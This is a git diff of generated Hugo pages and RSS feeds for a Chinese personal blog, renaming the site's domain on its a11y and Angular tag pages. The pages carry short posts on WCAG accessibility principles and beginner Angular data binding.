title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://xiaochenabc123.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://xiaochenabc123.github.io/tags/>Tags</a></div><h1>a11y</h1></header><article class="post-entry tag-entry"><header class=entry-header><h2>简单了解a11y无障碍</h2></header><div class=entry-content><p>a11y全称为Accessibility，A到y之间有11个字母，因此叫a11y，Accessibility中文翻译为可访问性，也就是无障碍
+<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>a11y | 小陈的个人博客</title><meta name=keywords content><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/tags/a11y/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://chenjunlinabc.github.io/tags/a11y/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="a11y"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://chenjunlinabc.github.io/tags/a11y/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="a11y"><meta name=twitter:description content="小陈的个人博客"></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://chenjunlinabc.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://chenjunlinabc.github.io/tags/>Tags</a></div><h1>a11y</h1></header><article class="post-entry tag-entry"><header class=entry-header><h2>简单了解a11y无障碍</h2></header><div class=entry-content><p>a11y全称为Accessibility，A到y之间有11个字母，因此叫a11y，Accessibility中文翻译为可访问性，也就是无障碍
 让网站具备无障碍性，可以让一些视觉障碍人士访问该网站，而且就算是其他人士使用，也会因a11y而受益（不因网络慢，css文件丢失而无法正常浏览页面内容）
 在mdn上有句话：The Web is fundamentally designed to work for all people, whatever their hardware, software, language, culture, location, or physical or mental ability. When the Web meets this goal, it is accessible to people with a diverse range of hearing, movement, sight, and cognitive ability.
 w3c发布了Web内容无障碍指南 (WCAG) https://www.w3.org/Translations/WCAG21-zh/
@@ -10,7 +10,7 @@
 可感知性（Perceivable）：非文本内容有文本替代，对于视频内容应该提供字幕，确保视感和听感都可浏览，不会因为某些原因导致信息或者结构（可以理解为文本顺序）丢失，应该具备可辨别性（颜色不应该作用区别视觉的唯一手段（针对色盲人士））
 可操作性（Operable）：页面可通过键盘来操作，而不是唯一依赖于鼠标，提供足够的时间来阅读和使用内容（比如定时可调整，关闭定时，延长定时等等），防癫痫（不使用会诱发癫痫的设计，例如控制闪光的次数），提供导航，查找以及提供内容位置，允许使用键盘之外的设备输入（例如鼠标或者手写板）
 可理解性（Understandable）：内容应该都是可读，可被理解的（例如设置多种人类语言，比如英文，中文，日文等等，根据操作系统使用语言或者时区设置为默认语言，语言可切换），任何操作都应该具备可预见性（例如关闭一个弹窗，不会导致其他意想不到的情况发生），当输入出现问题应该提示用户哪错了（例如注册时，密码的组合程度等等），当出现用户操作出错时，应该做到操作可逆或者二次确定操作（给予用户检查和纠正的机会）
-鲁棒性（Robust）：应该在发生某一些系统故障或者网络故障时，确保还能正常工作，而不是罢工或者出错，鲁棒性又叫抗干扰性，健壮性</p></div><footer class=entry-footer><span title='2022-04-09 13:01:00 +0000 UTC'>2022-04-09</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单了解a11y无障碍" href=https://xiaochenabc123.github.io/posts/144/></a></article></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+鲁棒性（Robust）：应该在发生某一些系统故障或者网络故障时，确保还能正常工作，而不是罢工或者出错，鲁棒性又叫抗干扰性，健壮性</p></div><footer class=entry-footer><span title='2022-04-09 13:01:00 +0000 UTC'>2022-04-09</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单了解a11y无障碍" href=https://chenjunlinabc.github.io/posts/144/></a></article></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script></body></html>
\ No newline at end of file
diff --git a/tags/a11y/index.xml b/tags/a11y/index.xml
index a63c54c8..7e31da3a 100644
--- a/tags/a11y/index.xml
+++ b/tags/a11y/index.xml
@@ -2,22 +2,22 @@
 <rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/">
   <channel>
     <title>a11y on 小陈的个人博客</title>
-    <link>https://xiaochenabc123.github.io/tags/a11y/</link>
+    <link>https://chenjunlinabc.github.io/tags/a11y/</link>
     <description>Recent content in a11y on 小陈的个人博客</description>
     <image>
       <title>小陈的个人博客</title>
-      <url>https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</url>
-      <link>https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</link>
+      <url>https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</url>
+      <link>https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</link>
     </image>
     <generator>Hugo -- gohugo.io</generator>
     <language>zh-cn</language>
-    <lastBuildDate>Sat, 09 Apr 2022 13:01:00 +0000</lastBuildDate><atom:link href="https://xiaochenabc123.github.io/tags/a11y/index.xml" rel="self" type="application/rss+xml" />
+    <lastBuildDate>Sat, 09 Apr 2022 13:01:00 +0000</lastBuildDate><atom:link href="https://chenjunlinabc.github.io/tags/a11y/index.xml" rel="self" type="application/rss+xml" />
     <item>
       <title>简单了解a11y无障碍</title>
-      <link>https://xiaochenabc123.github.io/posts/144/</link>
+      <link>https://chenjunlinabc.github.io/posts/144/</link>
       <pubDate>Sat, 09 Apr 2022 13:01:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/144/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/144/</guid>
       <description>a11y全称为Accessibility，A到y之间有11个字母，因此叫a11y，Accessibility中文翻译为可访问性，也就是无障碍
 让网站具备无障碍性，可以让一些视觉障碍人士访问该网站，而且就算是其他人士使用，也会因a11y而受益（不因网络慢，css文件丢失而无法正常浏览页面内容）
 在mdn上有句话：The Web is fundamentally designed to work for all people, whatever their hardware, software, language, culture, location, or physical or mental ability. When the Web meets this goal, it is accessible to people with a diverse range of hearing, movement, sight, and cognitive ability.
diff --git a/tags/a11y/page/1/index.html b/tags/a11y/page/1/index.html
index 68078ab7..01cecf4c 100644
--- a/tags/a11y/page/1/index.html
+++ b/tags/a11y/page/1/index.html
@@ -1 +1 @@
-<!doctype html><html lang=zh-cn><head><title>https://xiaochenabc123.github.io/tags/a11y/</title><link rel=canonical href=https://xiaochenabc123.github.io/tags/a11y/><meta name=robots content="noindex"><meta charset=utf-8><meta http-equiv=refresh content="0; url=https://xiaochenabc123.github.io/tags/a11y/"></head></html>
\ No newline at end of file
+<!doctype html><html lang=zh-cn><head><title>https://chenjunlinabc.github.io/tags/a11y/</title><link rel=canonical href=https://chenjunlinabc.github.io/tags/a11y/><meta name=robots content="noindex"><meta charset=utf-8><meta http-equiv=refresh content="0; url=https://chenjunlinabc.github.io/tags/a11y/"></head></html>
\ No newline at end of file
diff --git a/tags/angular/index.html b/tags/angular/index.html
index 78e8e334..83dbde64 100644
--- a/tags/angular/index.html
+++ b/tags/angular/index.html
@@ -1,15 +1,10 @@
-<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>Angular | 小陈的个人博客</title><meta name=keywords content><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/tags/angular/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://xiaochenabc123.github.io/tags/angular/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="Angular"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://xiaochenabc123.github.io/tags/angular/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="Angular"><meta name=twitter:description content="小陈的个人博客"></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://xiaochenabc123.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://xiaochenabc123.github.io/tags/>Tags</a></div><h1>Angular</h1></header><article class="post-entry tag-entry"><header class=entry-header><h2>Angular学习笔记</h2></header><div class=entry-content><p>Angular是三大前端框架之一（Angular在国内的热度低，但是在国外热度还是很高的，主要是因为Angular到Angular2的断崖式升级）
+<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>Angular | 小陈的个人博客</title><meta name=keywords content><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/tags/angular/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://chenjunlinabc.github.io/tags/angular/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="Angular"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://chenjunlinabc.github.io/tags/angular/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="Angular"><meta name=twitter:description content="小陈的个人博客"></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://chenjunlinabc.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://chenjunlinabc.github.io/tags/>Tags</a></div><h1>Angular</h1></header><article class="post-entry tag-entry"><header class=entry-header><h2>Angular学习笔记</h2></header><div class=entry-content><p>Angular是三大前端框架之一（Angular在国内的热度低，但是在国外热度还是很高的，主要是因为Angular到Angular2的断崖式升级）
 Angular和Vue的区别就是，Angular具备完整的MVVM框架功能（功能高度集成），提供一套完整的解决方案，而Vue是轻量级MVVM框架（渐进式，还需要vue-router之类的扩展功能），Angular和Vue并没有谁好谁坏之分，各有风格
 注意：Angular是AngularJS的重写，AngularJS使用JavaScript编写完成，而Angular采用TypeScript编写完成
 安装
 npm install -g angular-cli
 第一个Angular应用
-&lt;div ng-app ng-init="name='default'">
-&lt;p>name: &lt;input type="text" ng-model="name">&lt;/p>
-&lt;h1>hallo，{{name}}&lt;/h1>
-&lt;p ng-bind="name">&lt;/p>
-&lt;/div>
-ng-app属性将其声明为是一个Angular应用，ng-model将数据绑定到name中，ng-bind将其输出绑定，ng-init是初始化值</p></div><footer class=entry-footer><span title='2021-09-13 12:00:00 +0000 UTC'>2021-09-13</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to Angular学习笔记" href=https://xiaochenabc123.github.io/posts/101/></a></article></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+&lt;div ng-app ng-init="name='default'"> &lt;p>name: &lt;input type="text" ng-model="name">&lt;/p> &lt;h1>hallo，{{name}}&lt;/h1> &lt;p ng-bind="name">&lt;/p> &lt;/div> ng-app属性将其声明为是一个Angular应用，ng-model将数据绑定到name中，ng-bind将其输出绑定，ng-init是初始化值</p></div><footer class=entry-footer><span title='2021-09-13 12:00:00 +0000 UTC'>2021-09-13</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to Angular学习笔记" href=https://chenjunlinabc.github.io/posts/101/></a></article></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script></body></html>
\ No newline at end of file
diff --git a/tags/angular/index.xml b/tags/angular/index.xml
index ccdf2edf..12a4e268 100644
--- a/tags/angular/index.xml
+++ b/tags/angular/index.xml
@@ -2,29 +2,29 @@
 <rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/">
   <channel>
     <title>Angular on 小陈的个人博客</title>
-    <link>https://xiaochenabc123.github.io/tags/angular/</link>
+    <link>https://chenjunlinabc.github.io/tags/angular/</link>
     <description>Recent content in Angular on 小陈的个人博客</description>
     <image>
       <title>小陈的个人博客</title>
-      <url>https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</url>
-      <link>https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</link>
+      <url>https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</url>
+      <link>https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</link>
     </image>
     <generator>Hugo -- gohugo.io</generator>
     <language>zh-cn</language>
-    <lastBuildDate>Mon, 13 Sep 2021 12:00:00 +0000</lastBuildDate><atom:link href="https://xiaochenabc123.github.io/tags/angular/index.xml" rel="self" type="application/rss+xml" />
+    <lastBuildDate>Mon, 13 Sep 2021 12:00:00 +0000</lastBuildDate><atom:link href="https://chenjunlinabc.github.io/tags/angular/index.xml" rel="self" type="application/rss+xml" />
     <item>
       <title>Angular学习笔记</title>
-      <link>https://xiaochenabc123.github.io/posts/101/</link>
+      <link>https://chenjunlinabc.github.io/posts/101/</link>
       <pubDate>Mon, 13 Sep 2021 12:00:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/101/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/101/</guid>
       <description>Angular是三大前端框架之一（Angular在国内的热度低，但是在国外热度还是很高的，主要是因为Angular到Angular2的断崖式升级）
 Angular和Vue的区别就是，Angular具备完整的MVVM框架功能（功能高度集成），提供一套完整的解决方案，而Vue是轻量级MVVM框架（渐进式，还需要vue-router之类的扩展功能），Angular和Vue并没有谁好谁坏之分，各有风格
